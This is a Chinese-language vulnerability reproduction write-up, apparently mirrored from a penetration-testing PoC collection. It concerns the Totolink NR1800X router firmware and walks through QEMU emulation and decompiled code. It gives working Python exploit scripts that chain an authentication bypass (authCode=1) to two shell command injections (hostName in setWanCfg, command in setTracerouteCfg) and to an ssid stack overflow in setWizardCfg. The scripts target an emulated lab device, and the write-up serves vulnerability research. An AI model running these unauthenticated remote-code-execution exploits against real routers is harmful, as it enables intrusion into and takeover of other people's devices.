mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 17:04:31 +00:00
679 lines
27 KiB
Markdown
679 lines
27 KiB
Markdown
# Totolink NR1800X漏洞复现
|
||
> WLZ
|
||
> 来源:https://www.iotsec-zone.com/article/530
|
||
|
||
### 信息收集
|
||
下载对应版本固件NR1800X_V9.1.0u.6279_B20210910.bin:[https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html](https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html)
|
||
**binwalk提取固件:**
|
||

|
||
**file命令**查看固件文件信息,该固件基于 **MIPS 小端序** 架构
|
||

|
||
**checksec命令**查看文件保护机制,关闭了所有现代安全防护机制(无栈保护、栈段可执行、无地址随机化)
|
||
|
||

|
||
### 固件模拟
|
||
FirmAE 模拟失败
|
||

|
||
**使用系统模拟:**
|
||
● 镜像文件:debian_squeeze_mipsel_standard.qcow2
|
||
● 内核文件:vmlinux-3.2.0-4-4kc-malta
|
||

|
||
创建虚拟网卡(tap):
|
||
```
|
||
sudo tunctl -t tap0 -u $(whoami)
|
||
sudo ifconfig tap0 192.168.10.1 netmask 255.255.255.0
|
||
```
|
||
启动 QEMU 模拟器:
|
||
```
|
||
sudo qemu-system-mipsel -M malta \
|
||
-kernel vmlinux-3.2.0-4-4kc-malta \
|
||
-hda debian_squeeze_mipsel_standard.qcow2 \
|
||
-append "root=/dev/sda1 console=tty0" -nographic \
|
||
-net nic -net tap,ifname=tap0,script=no,downscript=no
|
||
```
|
||
QEMU 模拟器设置IP
|
||
```
|
||
ifconfig eth0 192.168.10.2 netmask 255.255.255.0
|
||
```
|
||
挂载必要内核接口
|
||
```
|
||
cd squashfs-root/
|
||
mount -t proc /proc ./proc
|
||
mount -o bind /dev ./dev
|
||
chroot . /bin/sh
|
||
```
|
||
该路由器的web服务由/usr/sbin/lighttpd管理,“尝试”直接在根目录启动
|
||
提示需要config,搜索后发现在固件包中有现成的/lighttp/lighttpd.conf配置文件,直接加载就行lighttpd -f /lighttp/lighttpd.conf:
|
||

|
||
显示报错,手动创建缺失的目录
|
||
```
|
||
mkdir -p /var/run
|
||
mkdir -p /var/log
|
||
mkdir -p /var/tmp
|
||
```
|
||
再次尝试启动
|
||
```
|
||
lighttpd -f /lighttp/lighttpd.conf
|
||
```
|
||

|
||
**成功启动,在宿主机浏览器访问:** 打开浏览器,输入虚拟机的 IP 地址: `http://192.168.10.2`
|
||
|
||

|
||
模拟成功。
|
||
# 未授权访问漏洞 (认证绕过)
|
||
登陆页面随意输入,burp抓取登录时的数据包:
|
||

|
||
IDA打开cstecgi.cgi,搜索formLoginAuth.htm字符串,根据响应包的Location可以确定是使用了第三个:
|
||
|
||

|
||
交叉引用,定位到sub_42AEEC,我们将这个函数重命名为check,该函数的核心作用是:作为登录验证的后端接口,它解析前端提交的原始登录字符串,将其与系统 NVRAM 中存储的账号密码进行比对,并根据验证结果构造包含身份标志位 `authCode` 的重定向 URL,引导浏览器跳转至 Web 服务器(lighttpd)进行 Session 会话建立 。
|
||
```
|
||
int __fastcall check(int a1)
|
||
{
|
||
// ... 变量声明 ...
|
||
|
||
// 初始化缓冲区
|
||
memset(login_ie.html_, 0, sizeof(login_ie.html_));
|
||
// ... 省略部分 memset ...
|
||
|
||
// 1. 获取前端传入的原始登录字符串(通常是 key1=val1&key2=val2 格式)
|
||
Var = websGetVar(a1, "loginAuthUrl", (int)"");
|
||
Object = cJSON_CreateObject();
|
||
|
||
// 2. 将 URL 格式字符串解析并填充到 cJSON 对象中,方便后续读取
|
||
v3 = 0;
|
||
v37 = v28;
|
||
while ( 1 )
|
||
{
|
||
v5 = v3 + 1;
|
||
if ( getNthValueSafe(v3, Var, "&", v26, 1024) == -1 ) // 按 & 切割参数
|
||
break;
|
||
if ( getNthValueSafe(0, v26, "=", v27, 128) != -1 && getNthValueSafe(1, v26, "=", v37, 256) != -1 )
|
||
{
|
||
String = cJSON_CreateString(v37);
|
||
cJSON_AddItemToObject(Object, v27, String); // 存入 cJSON: { "username": "xxx", "password": "yyy" }
|
||
}
|
||
v3 = v5;
|
||
}
|
||
|
||
// 3. 提取用户输入的各字段
|
||
v6 = websGetVar(Object, "username", (int)"");
|
||
v7 = websGetVar(Object, "password", (int)"");
|
||
v8 = websGetVar(Object, "http_host", (int)"");
|
||
v9 = websGetVar(Object, "flag", (int)&word_4370EC); // 区分 PC 端或手机端
|
||
v10 = websGetVar(Object, "verify", (int)&word_4370EC);
|
||
v11 = atoi(v10);
|
||
|
||
// 4. 验证码与登录向导(Wizard)逻辑处理
|
||
int = nvram_get_int("wizard_flag");
|
||
// ... 略去向导状态判断逻辑 ...
|
||
|
||
// 5. 解码密码并获取系统真实的账号密码进行对比
|
||
urldecode(v7, v35); // 关键:对输入的密码进行 URL 解码
|
||
v14 = nvram_safe_get("http_username"); // 获取 NVRAM 中存储的真用户名
|
||
strcpy(v30, v14);
|
||
v15 = nvram_safe_get("http_passwd"); // 获取 NVRAM 中存储的真密码
|
||
strcpy(v32, v15);
|
||
|
||
// 6. 核心比对环节
|
||
v17 = strcmp(v6, v30); // 比对用户名
|
||
// v18 是 authCode 的逻辑基础:如果用户名或密码不对,v18 保持非 0
|
||
v18 = strcmp(v35, v32) || v17 != 0;
|
||
|
||
if ( !strcmp(v6, v30) && !strcmp(v35, v32) ) // 验证通过
|
||
{
|
||
// 根据 flag 选择跳转的页面 (home.html 或 wizard.html)
|
||
// ... 页面分配逻辑 ...
|
||
|
||
// 触发云端更新检查等系统行为
|
||
nvram_set_int_temp("cloudupg_checktype", 1);
|
||
doSystem("lktos_reload %s", "cloudupdate_check 2>/dev/null");
|
||
|
||
v18 = 1; // 登录成功的 authCode 标志
|
||
}
|
||
else // 验证失败
|
||
{
|
||
// ... 分配登录失败后的回退页面 ...
|
||
if ( v18 )
|
||
{
|
||
LABEL_54:
|
||
// 如果登录失败次数多或验证码错误,创建标志文件
|
||
system("echo ''> /tmp/login_flag");
|
||
v18 = 0;
|
||
}
|
||
}
|
||
|
||
// 7. 构造响应 JSON
|
||
// 这里构造了 redirectURL,注意 authCode=%d 处填入了 v18
|
||
// 这个 authCode 会被传递给后续的 lighttpd 处理,用于建立 Session
|
||
snprintf(v24, 4096, "{\"httpStatus\":\"%s\",\"host\":\"%s\"", "302", v29);
|
||
// ... 拼接 redirectURL 字符串 ...
|
||
|
||
// 8. 解析构造好的 JSON 并提取 URL 执行重定向
|
||
v20 = cJSON_Parse(v24);
|
||
v21 = websGetVar(v20, "redirectURL", (int)"");
|
||
|
||
// 输出标准的 HTTP 302 响应头部
|
||
puts("HTTP/1.1 302 Redirect to page");
|
||
puts("Content-type: text/plain");
|
||
puts("Connection: Keep-Alive\nPragma: no-cache\nCache-Control: no-cache");
|
||
printf("Location: %s\n\n", v21); // 浏览器收到后会跳转到 formLoginAuth.htm
|
||
printf("protal page");
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
下一个数据包:
|
||
经过cstecgi.cgi会得到[http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login](http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login),
|
||
由于目标文件formLoginAuth.htm为htm文件,所以需要交由lighttpd处理。对lighttpd逆向搜索"formLoginAuth.htm",来到userloginAuth函数:
|
||

|
||
`userloginAuth` 是路由器 Web 服务的**权限验证入口分发函数**。它负责识别当前的 URL 请求类型,并将其导向登录、注销或常规会话检查逻辑 。
|
||
```
|
||
BOOL __fastcall userloginAuth(int a1, int a2, _BYTE *a3)
|
||
{
|
||
int v4; // $s2
|
||
|
||
// 1. 从请求结构体偏移 320 处提取当前请求的路径/文件名 (URI) [cite: 295, 296]
|
||
v4 = **(_DWORD **)(a1 + 320);
|
||
|
||
// 2. 检查请求是否包含 "formLoginAuth.htm"
|
||
// 这是登录验证的核心接口,攻击者通过构造含有该字符串的 URL 触发此逻辑 [cite: 296, 351]
|
||
if ( strstr(v4, "formLoginAuth.htm") )
|
||
{
|
||
// 调用 Form_Login 函数进行具体的参数解析与会话生成
|
||
// 关键点:该函数内存在直接解析 URL 参数 authCode 的漏洞 [cite: 346, 371]
|
||
Form_Login(a1, a2, (int)a3);
|
||
return 1;
|
||
}
|
||
|
||
// 3. 处理注销请求逻辑
|
||
if ( strstr(v4, "formLogout.htm") )
|
||
{
|
||
Form_Logout(a1, a2, a3);
|
||
return 1;
|
||
}
|
||
|
||
// 4. 处理注销所有会话请求逻辑
|
||
if ( strstr(v4, "formLogoutAll.htm") )
|
||
{
|
||
Form_LogoutAll(a1, a2);
|
||
return 1;
|
||
}
|
||
|
||
// 5. 数据结构清理:初始化或清除 a3 指向的内存空间 [cite: 312, 313, 314]
|
||
a3[3] = 0;
|
||
*a3 = 0;
|
||
a3[1] = 0;
|
||
a3[2] = 0;
|
||
|
||
// 6. 默认权限检查:对于非登录/注销页面,通过 checkLoginUser 检查当前 Cookie 是否有效
|
||
// 如果 checkLoginUser 返回 1,表示用户已授权;否则拒绝访问
|
||
return checkLoginUser(a1, a2) == 1;
|
||
}
|
||
```
|
||
查看Form_Login 函数, 这段函数是 `lighttpd` 内部处理用户登录逻辑的核心代码。其最关键的漏洞点在于直接信任并解析了 URL 传入的 `authCode` 参数,从而导致认证绕过。
|
||
```
|
||
int __fastcall Form_Login(int a1, int a2, int a3)
|
||
{
|
||
// ... 变量定义 ...
|
||
|
||
// 1. 获取客户端 IP 地址并初始化缓冲区 [cite: 356]
|
||
v6 = (char *)inet_ntoa(*(_DWORD *)(a1 + 128));
|
||
memset(home.html_3, 0, sizeof(home.html_3)); // 用于存储跳转的目标页面 URL
|
||
memset(v25, 0, 1024); // 用于存储原始请求参数字符串
|
||
|
||
// 2. 检查请求参数是否为空,如果不为空则开始解析 [cite: 359, 361]
|
||
if ( !buffer_is_empty(*(_DWORD *)(a1 + 328)) )
|
||
{
|
||
strncpy(v25, **(_DWORD **)(a1 + 328), 1023); // 拷贝原始请求参数(如 key1=val1&key2=val2)
|
||
|
||
// 3. 核心解析循环:遍历并提取 URL 参数 [cite: 362, 366, 368]
|
||
while ( 1 )
|
||
{
|
||
// 按 '&' 符号切割参数项 [cite: 366, 370]
|
||
if ( getNthValueSafe(p_home.html, p_home.html_1, 38, home.html, 512) == -1 )
|
||
break;
|
||
|
||
// 按 '=' 符号切割键值对 [cite: 368, 369]
|
||
if ( getNthValueSafe(0, home.html, 61, home.html_1, 128) != -1
|
||
&& getNthValueSafe(1, home.html, 61, p_home.html_2, 128) != -1 )
|
||
{
|
||
// 【关键漏洞点】:直接从 URL 参数中提取 authCode 并转为整数 [cite: 371, 373]
|
||
// 攻击者只需在 URL 中构造 authCode=1,v8 就会变为非 0 值
|
||
if ( strstr(home.html_1, "authCode") )
|
||
v8 = atoi(p_home.html_2);
|
||
|
||
if ( strstr(home.html_1, "userName") )
|
||
strcpy(p_home.html_3, p_home.html_2); // 提取用户名
|
||
if ( strstr(home.html_1, "password") )
|
||
strcpy(p_home.html_4, p_home.html_2); // 提取密码
|
||
if ( strstr(home.html_1, "goURL") )
|
||
strcpy(p_home.html_5, p_home.html_2); // 提取登录成功后的跳转路径 [cite: 376, 377]
|
||
}
|
||
}
|
||
}
|
||
|
||
// 4. 如果没有指定 goURL,则根据设备类型分配默认主页 [cite: 209, 210]
|
||
if ( !home.html_3[0] )
|
||
{
|
||
if ( strstr(&home.html_2, "ie8") )
|
||
p_home.html_8 = "wan_ie.html";
|
||
else if ( atoi(&home.html_2) == 1 ) // flag 为 1 通常代表手机端
|
||
p_home.html_8 = "phone/home.html";
|
||
else
|
||
p_home.html_8 = "home.html";
|
||
strcpy(home.html_3, p_home.html_8);
|
||
}
|
||
|
||
// 5. 权限授予环节:如果 v8 (authCode) 非 0,则执行登录成功的会话创建 [cite: 346, 349, 387]
|
||
if ( v8 )
|
||
{
|
||
// 检查是否已有 SESSION_ID,如果有则重用 [cite: 336]
|
||
if ( !ws_get_cookie(a1, "SESSION_ID", v16, 0) && form_get_idx_by_sessionid(&fl_sess, v13, v16) != -1 )
|
||
{
|
||
sprintf(a2, "http://%s/%s?timestamp=%ld", v23, home.html_3, v13);
|
||
return 1;
|
||
}
|
||
|
||
// 生成新的 SESSION_ID 字符串 [cite: 124, 387]
|
||
sprintf(v15, "%ld:%d", v13, 2);
|
||
sprintf(v19, "%d:%s", 2, v15);
|
||
|
||
// 将新 Session 添加到系统表中,并在响应中设置 Cookie [cite: 414]
|
||
if ( form_add_session(&fl_sess, &fl_sess_bak, -1, v17, v6, v19, 2, v13) )
|
||
{
|
||
ws_set_cookie(a3, "SESSION_ID", v19, 0, "/", 0); // 发送 Set-Cookie 给浏览器
|
||
sprintf(a2, "http://%s/%s?timestamp=%ld", v23, home.html_3, v13); // 跳转到主页 [cite: 415]
|
||
return 0;
|
||
}
|
||
// ... 登录失败后的清理和回退到 login.html ...
|
||
}
|
||
|
||
// 6. 如果 v8 为 0,则跳转回登录页面(表示认证失败) [cite: 215, 217]
|
||
// ... 跳转回 login.html 的逻辑 ...
|
||
return 1;
|
||
}
|
||
```
|
||
程序原本设计是从后端 CGI 获取 `authCode`,但 `Form_Login` 函数错误地从用户可控的 URL 字符串中解析该值 。攻击者通过手动输入 `authCode=1`,强制使 `v8` 为真,从而绕过所有密码检查,直接进入生成 `SESSION_ID` 的逻辑 。
|
||
即这里存在未授权登录漏洞:[http://192.168.10.2/formLoginAuth.htm?authCode=1&action=login](http://192.168.10.2/formLoginAuth.htm?authCode=1&action=login)
|
||
抓包验证,这里确实可以绕过登录。该过程会发送3个关键的数据包,302重定向时即可获取有效的SESSION_ID=2:1769496816:2
|
||

|
||
|
||

|
||
|
||

|
||
|
||
# CVE-2026-1326命令注入
|
||
### 漏洞描述
|
||
Totolink NR1800X 固件版本 9.1.0u.6279_B20210910 中存在命令注入漏洞。弱点出现在 /cgi-bin/cstecgi.cgi 文件的 POST 请求处理组件中的 setWanCfg 函数中。通过主机名参数Hostname,攻击者可以执行远程命令注入。漏洞利用细节已公开,增加了针对该设备的潜在攻击风险。
|
||
搜索字符串hostname,定位到漏洞点在sub_421C98函数中
|
||

|
||
`main` 函数作为 **CGI 入口分发器**,负责将 POST 请求解析为 JSON 对象,并根据 `topicurl` 字段在 **路由表**(如 `set_handle_t`)中匹配并跳转至对应的 Handler 函数(如 `sub_421c98`),从而开启抵达 `doSystem` 注入点的调用链条。
|
||
```
|
||
int __fastcall main(int argc, const char **argv, const char **envp)
|
||
{
|
||
// ... 变量定义 ...
|
||
|
||
// 1. 初始化缓冲区并获取 CGI 环境变量
|
||
memset(v35, 0, sizeof(v35));
|
||
memset(v37, 0, sizeof(v37));
|
||
memset(v36, 0, sizeof(v36));
|
||
env = getenv("QUERY_STRING"); // 获取 URL 参数
|
||
env_1 = getenv("CONTENT_LENGTH"); // 获取 POST 数据长度
|
||
v5 = strtol(env_1, 0, 10);
|
||
env_2 = getenv("stationIp");
|
||
if ( !env_2 )
|
||
env_2 = getenv("REMOTE_ADDR"); // 获取客户端 IP
|
||
|
||
// 2. 从标准输入 (stdin) 读取 POST 数据体
|
||
v7 = v5 + 1;
|
||
v8 = (const char *)malloc(v7);
|
||
memset(v8, 0, v7);
|
||
fread(v8, 1, v7, stdin); // 读取 POST 内容到 v8
|
||
|
||
// 3. 处理不同类型的 Action 请求(登录、上传或普通设置)
|
||
if ( !env )
|
||
goto LABEL_15;
|
||
|
||
// --- 登录请求逻辑 ---
|
||
if ( strstr(env, "action=login") )
|
||
{
|
||
// ... 构造 loginAuth 的 JSON 字符串 ...
|
||
v12 = v36; // 将构造好的 JSON 赋给 v12
|
||
goto LABEL_16;
|
||
}
|
||
|
||
// --- 上传请求逻辑 ---
|
||
if ( !strstr(env, "action=upload") )
|
||
{
|
||
LABEL_15:
|
||
v12 = v8; // 普通请求:直接将 POST 数据体赋给 v12
|
||
goto LABEL_16;
|
||
}
|
||
// ... 处理上传逻辑并构造 JSON ...
|
||
v12 = v36;
|
||
|
||
LABEL_16:
|
||
// 4. 【关键】将字符串解析为 cJSON 对象
|
||
v17 = cJSON_Parse(v12);
|
||
|
||
// 5. 【关键】提取 topicurl,这决定了后续调用哪个功能函数
|
||
Var = websGetVar(v17, "topicurl", (int)"");
|
||
v19 = strchr(Var, 47); // 处理路径分隔符
|
||
if ( v19 )
|
||
Var = (char *)(v19 + 1);
|
||
|
||
// 6. 权限检查(NEED_AUTH)
|
||
env_7 = getenv("NEED_AUTH");
|
||
if ( env_7 && !strcmp(env_7, "1") && ... ) // 检查当前 Topic 是否需要登录
|
||
{
|
||
sub_42EFC0(501); // 未授权返回 501
|
||
return 0;
|
||
}
|
||
|
||
// 7. 【分发引擎】根据 topicurl 前缀进行函数分发
|
||
|
||
// --- A. "get" 类请求分发 (获取配置) ---
|
||
if ( strstr(Var, "get") )
|
||
{
|
||
v23 = off_44A090; // Handler 函数指针起始
|
||
v24 = &off_44A0D4; // 结构体表起始
|
||
if ( off_44A090 )
|
||
{
|
||
v25 = 0;
|
||
// 遍历 get_handle_t 表匹配对应的处理函数
|
||
while ( strncmp(Var, &get_handle_t[68 * v25], 64) )
|
||
{
|
||
++v25;
|
||
v23 = *v24; // 提取匹配到的函数地址
|
||
v26 = *v24 != 0;
|
||
v24 += 17; // 每个条目偏移 68 字节 (17 * 4)
|
||
if ( !v26 ) goto LABEL_53;
|
||
}
|
||
LABEL_51:
|
||
// 【执行】调用对应的业务函数,并将 cJSON 对象 v17 作为参数传入
|
||
((void (__fastcall *)(int))v23)(v17);
|
||
}
|
||
}
|
||
// --- B. "set" 类请求分发 (设置配置 - CVE 漏洞通常发生在此类) ---
|
||
else if ( strstr(Var, "set") )
|
||
{
|
||
v23 = off_44B040;
|
||
v27 = &off_44B084;
|
||
if ( off_44B040 )
|
||
{
|
||
v28 = 0;
|
||
// 遍历 set_handle_t 表匹配,例如匹配 "setWanCfg" 或 "setOpModeCfg"
|
||
while ( strncmp(Var, &set_handle_t[68 * v28], 64) )
|
||
{
|
||
++v28;
|
||
v23 = *v27;
|
||
v26 = *v27 != 0;
|
||
v27 += 17;
|
||
if ( !v26 ) goto LABEL_53;
|
||
}
|
||
goto LABEL_51; // 跳转到 LABEL_51 执行业务函数
|
||
}
|
||
}
|
||
// --- C. "del" 类或其他请求分发 ---
|
||
else
|
||
{
|
||
// ... 匹配 del_handle_t 或 other_handle_t ...
|
||
}
|
||
|
||
LABEL_53:
|
||
// 8. 清理工作
|
||
cJSON_Delete(v17); // 释放 cJSON 对象
|
||
free(v8); // 释放 POST 数据缓冲区
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
找到处理 `set` 类请求的 `while` 循环。
|
||
|
||
```plain
|
||
// set_handle_t 是路由表的起始地址
|
||
while ( strncmp(Var, &set_handle_t[68 * v28], 64) )
|
||
```
|
||
双击 `set_handle_t`,定位路由表基址:
|
||

|
||
向下滑动查找就能找到:
|
||

|
||
### exp
|
||
配合前面的未授权访问漏洞,编写脚本自动获取SESSION_ID,绕过认证后,再进行攻击,实现未授权远程代码执行。
|
||
```
|
||
import requests
|
||
import re
|
||
|
||
TARGET_IP = "192.168.10.2"
|
||
BASE_URL = f"http://{TARGET_IP}"
|
||
CGI_URL = f"{BASE_URL}/cgi-bin/cstecgi.cgi"
|
||
AUTH_BYPASS_URL = f"{BASE_URL}/formLoginAuth.htm?authCode=1&action=login"
|
||
|
||
def get_session():
|
||
print("[*] 正在触发身份认证绕过...")
|
||
try:
|
||
response = requests.get(AUTH_BYPASS_URL, timeout=5, allow_redirects=False)
|
||
session_id = response.cookies.get("SESSION_ID")
|
||
if not session_id:
|
||
location = response.headers.get("Location", "")
|
||
ts_match = re.search(r"timestamp=(\d+)", location)
|
||
if ts_match:
|
||
timestamp = ts_match.group(1)
|
||
session_id = f"2:{timestamp}:2"
|
||
|
||
if session_id:
|
||
print(f"[+] 提取到有效的 SESSION_ID: {session_id}")
|
||
return {"SESSION_ID": session_id}
|
||
else:
|
||
print("[-] 无法提取 Session 信息,请检查设备连接或模拟环境。")
|
||
return None
|
||
|
||
except Exception as e:
|
||
print(f"[!] 获取 Session 失败: {e}")
|
||
return None
|
||
|
||
def execute_cmd_injection(cookies):
|
||
if not cookies: return
|
||
|
||
target_file = "/tmp/hack_success"
|
||
# 构造命令注入 Payload:使用分号绕过并闭合单引号
|
||
cmd = f"echo 'Vulnerability Verified' > {target_file}"
|
||
payload = f"'; {cmd}; '"
|
||
|
||
data = {
|
||
"topicurl": "setWanCfg", # 漏洞函数入口
|
||
"hostName": payload, # 注入参数
|
||
"proto": "2" # 确保进入 DHCP 分支
|
||
}
|
||
|
||
print(f"[*] 正在发送注入 Payload,目标文件: {target_file}...")
|
||
try:
|
||
response = requests.post(CGI_URL, json=data, cookies=cookies, timeout=5)
|
||
|
||
if response.status_code == 200:
|
||
print("[+] 请求成功,服务器已响应。")
|
||
print(f"[*] 响应正文: {response.text}")
|
||
print(f"[!] 请在模拟器终端执行 'ls /tmp' 验证结果 [cite: 747]")
|
||
else:
|
||
print(f"[-] 请求失败,状态码: {response.status_code}")
|
||
except Exception as e:
|
||
print(f"[!] 执行漏洞利用时发生异常: {e}")
|
||
|
||
if __name__ == "__main__":
|
||
valid_creds = get_session()
|
||
if valid_creds:
|
||
execute_cmd_injection(valid_creds)
|
||
```
|
||
|
||
运行脚本:
|
||

|
||
验证成功:
|
||

|
||
# CVE-2026-1327命令注入
|
||
### 漏洞描述
|
||
NR1800 X_Firmware V9.1.0u.6279_B20210910在setTraceroutecfg函数中存在命令注入漏洞。Var
|
||
变量接收POST请求的command参数。然而,由于用户可以控制command输入,doSystem可能导致命令注入漏洞。
|
||
cstecgi.cgi 路由表(set_handle_t)中,当 `topicurl` 为 `"setTracerouteCfg"` 时,调用函数 `sub_420F68`
|
||

|
||
注入点:`sub_420F68` 函数
|
||

|
||
该函数负责处理 `setTracerouteCfg` 请求。其核心流程如下:
|
||
1. **获取输入**:通过 `websGetVar` 从 POST 请求中获取 `command` 参数。
|
||
2. **安全检查**:调用 `Validity_check(Var)`。如果返回值为 `0`(即未触发黑名单),则继续执行。
|
||
3. **危险拼接**:使用 `sprintf` 将用户输入的 `Var` 直接拼接到字符串命令中: `"traceroute -m %d %s&>/var/log/traceRouteLog"`
|
||
4. **执行命令**:调用 `doSystem(v6)`(通常封装了 `system()`),将拼接后的字符串交给 Shell 执行。
|
||
|
||
防御机制的缺陷:`Validity_check`
|
||

|
||
该函数采用黑名单机制,检查输入中是否包含特定字符。
|
||
**关键漏洞在于:它漏掉了最重要的 Shell 注释符和命令分隔符——** `>` **和** `#`**。**
|
||
黑名单未过滤 `>`,允许攻击者将输出重定向到任意文件
|
||
`#` 及其后面的内容会被视为注释
|
||
|
||
### exp
|
||
配合前面的未授权访问漏洞,编写脚本自动获取SESSION_ID,绕过认证后,再进行攻击,实现未授权远程代码执行。
|
||
```
|
||
import requests
|
||
import re
|
||
|
||
TARGET_IP = "192.168.10.2"
|
||
BASE_URL = f"http://{TARGET_IP}"
|
||
CGI_URL = f"{BASE_URL}/cgi-bin/cstecgi.cgi"
|
||
AUTH_BYPASS_URL = f"{BASE_URL}/formLoginAuth.htm?authCode=1&action=login"
|
||
|
||
def get_session():
|
||
print("[*] 正在尝试绕过身份认证以获取 SESSION_ID...")
|
||
try:
|
||
response = requests.get(AUTH_BYPASS_URL, timeout=5, allow_redirects=False)
|
||
session_id = response.cookies.get("SESSION_ID")
|
||
if not session_id:
|
||
location = response.headers.get("Location", "")
|
||
ts_match = re.search(r"timestamp=(\d+)", location)
|
||
if ts_match:
|
||
timestamp = ts_match.group(1)
|
||
session_id = f"2:{timestamp}:2"
|
||
if session_id:
|
||
print(f"[+] 成功提取有效 SESSION_ID: {session_id}")
|
||
return {"SESSION_ID": session_id}
|
||
else:
|
||
print("[-] 提取 Session 失败,请检查模拟环境。")
|
||
return None
|
||
except Exception as e:
|
||
print(f"[!] 获取 Session 过程中发生异常: {e}")
|
||
return None
|
||
|
||
def exploit_traceroute(cookies):
|
||
target_file = "/tmp/CVE-2026-1327"
|
||
data = {
|
||
"topicurl": "setTracerouteCfg",
|
||
"command": f"echo 'Exploit Success' > {target_file} #",
|
||
"num": "4"
|
||
}
|
||
|
||
print(f"[*] 正在尝试绕过 Validity_check 并写入到 {target_file}...")
|
||
try:
|
||
response = requests.post(CGI_URL, json=data, cookies=cookies, timeout=5)
|
||
|
||
if response.status_code == 200:
|
||
print("[+] 请求发送成功。")
|
||
print(f"[*] 响应正文: {response.text}")
|
||
print(f"[!] 验证完成,请在设备终端检查 /tmp 目录下是否存在 {target_file} ")
|
||
else:
|
||
print(f"[-] 请求失败,状态码: {response.status_code}")
|
||
except Exception as e:
|
||
print(f"[!] 执行攻击时发生异常: {e}")
|
||
|
||
if __name__ == "__main__":
|
||
valid_cookies = get_session()
|
||
if valid_cookies:
|
||
exploit_traceroute(valid_cookies)
|
||
```
|
||
|
||
运行脚本:
|
||

|
||
验证成功
|
||
|
||

|
||
# CVE-2026-1328栈溢出
|
||
### 漏洞描述
|
||
NR1800 X_Firmware V9.1.0u.6279B20210910在setWizardCfg函数中存在缓冲区溢出漏洞。v49变量从POST请求中接收ssid参数。然而,由于用户可以控制ssID的输入,语句urldecode可能导致缓冲区溢出漏洞。
|
||
cstecgi.cgi 路由表(set_handle_t)中,当 `topicurl` 为 `"setWizardCfg"` 时,调用函数 `sub_428C84`
|
||

|
||
触发点:`ssid` 参数处理
|
||
在代码中,程序通过 `websGetVar` 获取用户通过 POST 请求发送的 `ssid` 变量:
|
||
```
|
||
v49 = websGetVar(a1, "ssid", (int)""); // 获取 SSID 输入
|
||
...
|
||
urldecode(v49, v77); // 将解码后的结果存入 v77
|
||
```
|
||

|
||
随后程序调用了自定义的 `urldecode` 函数,将用户输入的 `v49` 解码并写入到固定长度(128 字节)的缓冲区 `v77` 中。
|
||

|
||
栈空间布局:
|
||
在函数 `sub_428C84` 中,程序在栈上分配了两个关键的缓冲区:
|
||
- `v77`:`_BYTE [128]`(大小为 128 字节)
|
||
- `v78`:`_BYTE [128]`(大小为 128 字节)
|
||
这些变量位于栈帧的较低位置。
|
||
漏洞函数:`urldecode` 的设计缺陷
|
||
```
|
||
_BYTE *__fastcall urldecode(int a1, _BYTE *a2) {
|
||
...
|
||
for ( i = 0; i < strlen(a1); ++i ) {
|
||
n37 = *(char *)(a1 + i);
|
||
if ( n37 == 37 ) { // 处理 % 编码
|
||
// ... 解码逻辑 ...
|
||
*v3 = ...;
|
||
} else {
|
||
*v3 = n37; // 直接拷贝原字符
|
||
}
|
||
++v4;
|
||
++v3; // 目标指针递增,没有边界检查!
|
||
}
|
||
a2[v4 - 1] = 0;
|
||
return a2;
|
||
}
|
||
```
|
||
**关键问题**:`urldecode` 函数通过 `strlen(a1)`(输入长度)来决定循环次数,但在向目标缓冲区 `v3`(即 `v77`)写入数据时,**完全没有检查** `v4` **是否超过了** `v77` **定义的 128 字节上限**。
|
||
### exp
|
||
编写脚本,自动获取SESSION_ID,实现栈溢出。
|
||
```
|
||
import requests
|
||
import re
|
||
|
||
base_url = "http://192.168.10.2"
|
||
auth_url = f"{base_url}/formLoginAuth.htm?authCode=1&action=login"
|
||
cgi_url = f"{base_url}/cgi-bin/cstecgi.cgi"
|
||
|
||
def get_session():
|
||
try:
|
||
res = requests.get(auth_url, timeout=5, allow_redirects=False)
|
||
sid = res.cookies.get("SESSION_ID")
|
||
if not sid:
|
||
location = res.headers.get("Location", "")
|
||
match = re.search(r"timestamp=(\d+)", location)
|
||
if match:
|
||
sid = f"2:{match.group(1)}:2"
|
||
return sid
|
||
except Exception as e:
|
||
print(f"[!] 获取 Session 失败: {e}")
|
||
return None
|
||
|
||
session_id = get_session()
|
||
|
||
if session_id:
|
||
print(f"[*] 成功获取 SESSION_ID: {session_id}")
|
||
url = cgi_url
|
||
cookie = {"SESSION_ID": session_id}
|
||
data = {"topicurl": "setWizardCfg", "ssid": "a" * 0x1000}
|
||
response = requests.post(url, cookies=cookie, json=data)
|
||
print(response.text)
|
||
print(response)
|
||
else:
|
||
print("[-] 无法执行后续操作,未获取到有效的 SESSION_ID")
|
||
```
|
||
|
||
500 错误证明了超长输入确实已经冲毁了栈空间,导致了程序执行流的崩溃。
|
||
|
||

|